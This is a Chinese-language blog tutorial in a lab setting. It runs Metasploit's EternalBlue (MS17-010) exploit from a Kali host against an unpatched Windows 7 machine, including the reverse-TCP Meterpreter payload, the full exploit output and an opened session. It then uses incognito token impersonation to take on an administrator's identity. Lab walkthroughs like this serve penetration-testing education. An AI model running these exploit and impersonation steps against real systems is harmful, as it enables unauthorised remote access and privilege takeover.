Metasploit之令牌竊取

coderge發表於2020-09-29

令牌簡介及原理

令牌(Token) 就是系統的臨時金鑰,相當於賬戶名和密碼,用來決定是否允) 許這次請求和判斷這次請求是屬於哪一個使用者的。它允許你在不提供密碼或其他憑證的前提下,訪問網路和系統資源。這些令牌將持續存在於系統中,除非系統重新啟動。
令牌最大的特點就是隨機性,不可預測,一般黑客或軟體無法猜測出來。令牌有很多種,比如訪問令牌(Access Token)表示訪問控制操作主題的系統物件;密保令牌(Security token),又叫作認證令牌或者硬體令牌,是一種計算機身份校驗的物理裝置,例如U盾;會話令牌(Session Token)是互動會話中唯一的身份識別符號。
在假冒令牌攻擊中需要使用Kerberost協議。所以在使用假冒令牌前,先來介紹Kerberost協議。Kerberos是一種網路認證協議,其設計目標是通過金鑰系統為客戶機/伺服器應用程式提供強大的認證服務。Kerberos的工作機制如下圖所示。

Kerberos工作機制

客戶端請求證書的過程如下所示。

  • 客戶端向認證伺服器(AS)傳送請求,要求得到伺服器的證書。
  • AS收到請求後,將包含客戶端金鑰的加密證書響應傳送給客戶端。該證書包括伺服器ticket (包括伺服器金鑰加密的客戶機身份和一份會話金鑰)和一個臨時加s密金鑰(又稱為會話金鑰,session key) 。當然,認證伺服器也會給伺服器傳送一份該證書,用來使伺服器認證登入客戶端的身份。
  • 客戶端將ticket傳送到伺服器上,伺服器確認該客戶端的話,便允許它登入伺服器。
  • 客戶端登入成功後,攻擊者就可以通過入侵伺服器獲取客戶端的令牌。

攻擊機kali:192.168.1.104
靶機win7:192.168.1.102

假冒令牌實戰利用

msf5 > search ms17_010            # 搜尋永恆之藍漏洞利用模組

Matching Modules
================

   #  Name                                           Disclosure Date  Rank     Check  Description
   -  ----                                           ---------------  ----     -----  -----------
   1  auxiliary/admin/smb/ms17_010_command           2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   2  auxiliary/scanner/smb/smb_ms17_010                              normal   Yes    MS17-010 SMB RCE Detection
   3  exploit/windows/smb/ms17_010_eternalblue       2017-03-14       average  No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   4  exploit/windows/smb/ms17_010_eternalblue_win8  2017-03-14       average  No     MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption for Win8+
   5  exploit/windows/smb/ms17_010_psexec            2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution


msf5 > use exploit/windows/smb/ms17_010_eternalblue    # 用這個模組,注意,靶機別打補丁,別開防火牆,以保證試驗成功
msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/reverse_tcp       # 用這個payload
payload => windows/x64/meterpreter/reverse_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) > set RHOST 192.168.1.102         # 設定目標機IP
RHOST => 192.168.1.102
msf5 exploit(windows/smb/ms17_010_eternalblue) > set LHOST 192.168.1.104         # 設定攻擊機IP
LHOST => 192.168.1.104
msf5 exploit(windows/smb/ms17_010_eternalblue) > run                           # 開炮開炮開炮!!!

[*] Started reverse TCP handler on 192.168.1.104:4444 
[*] 192.168.1.102:445 - Connecting to target for exploitation.
[+] 192.168.1.102:445 - Connection established for exploitation.
[+] 192.168.1.102:445 - Target OS selected valid for OS indicated by SMB reply
[*] 192.168.1.102:445 - CORE raw buffer dump (38 bytes)
[*] 192.168.1.102:445 - 0x00000000  57 69 6e 64 6f 77 73 20 37 20 55 6c 74 69 6d 61  Windows 7 Ultima
[*] 192.168.1.102:445 - 0x00000010  74 65 20 37 36 30 31 20 53 65 72 76 69 63 65 20  te 7601 Service 
[*] 192.168.1.102:445 - 0x00000020  50 61 63 6b 20 31                                Pack 1          
[+] 192.168.1.102:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 192.168.1.102:445 - Trying exploit with 12 Groom Allocations.
[*] 192.168.1.102:445 - Sending all but last fragment of exploit packet
[*] 192.168.1.102:445 - Starting non-paged pool grooming
[+] 192.168.1.102:445 - Sending SMBv2 buffers
[+] 192.168.1.102:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 192.168.1.102:445 - Sending final SMBv2 buffers.
[*] 192.168.1.102:445 - Sending last fragment of exploit packet!
[*] 192.168.1.102:445 - Receiving response from exploit packet
[+] 192.168.1.102:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 192.168.1.102:445 - Sending egg to corrupted connection.
[*] 192.168.1.102:445 - Triggering free of corrupted buffer.
[*] Sending stage (206403 bytes) to 192.168.1.102
[*] Meterpreter session 1 opened (192.168.1.104:4444 -> 192.168.1.102:49163) at 2020-09-29 19:22:08 +0800
[+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 192.168.1.102:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter >                                                # 可以開幹壞事啦

此時我們通過一系列前期滲透: https://www.jianshu.com/p/03a1c13f963a,已經成功獲得了目標機的MeterpreterShell,首先輸入getuid命令檢視已經獲得的許可權,然後輸入getsystem,發現提權失敗。
(咦。。。直接system許可權我透,算了繼續做,當作我沒有的亞子……

我們先輸入use incognito命令,然後輸入list_tokens -u列出可用的token如下:

可以看到有兩種型別的令牌: 一種是Delegation Tokens,也就是授權令牌,它支援互動式登入(例如可以通過遠端桌面登入訪問) ;還有一種是Impersonation Tokens,也就是模擬令牌,它是非互動的會話。令牌的數量其實取決於Meterpreter Shell的訪問級別。
由上圖可以看到,我們已經獲得了一個系統管理員ge的授權令牌,現在就要假冒這個令牌,成功後即可擁有它的許可權。
從輸出的資訊可以看到分配的有效令牌包含ge-PC\ge,其中ge-PC是目標機的主機名,ge表示登入的使用者名稱。接下來在incognito中呼叫impersonate token命令假冒ge使用者進行攻擊,具體方法如下圖所示。

注意:在輸入HOSTNAME\USERNAME時需要兩個反斜槓(\)
執行成功後在Meterpreter Shell下執行shell命令並輸入whoami,可以看到筆者現在就是假冒的那個ge-pc\ge系統管理員了。

說明

本文參考 開篇的部落格連結 及 《Web安全攻防:滲透測試實戰指南》
所有過程僅供演示交流,禁止用於非法用途,由此產生的非法後果與我無瓜!!!

相關文章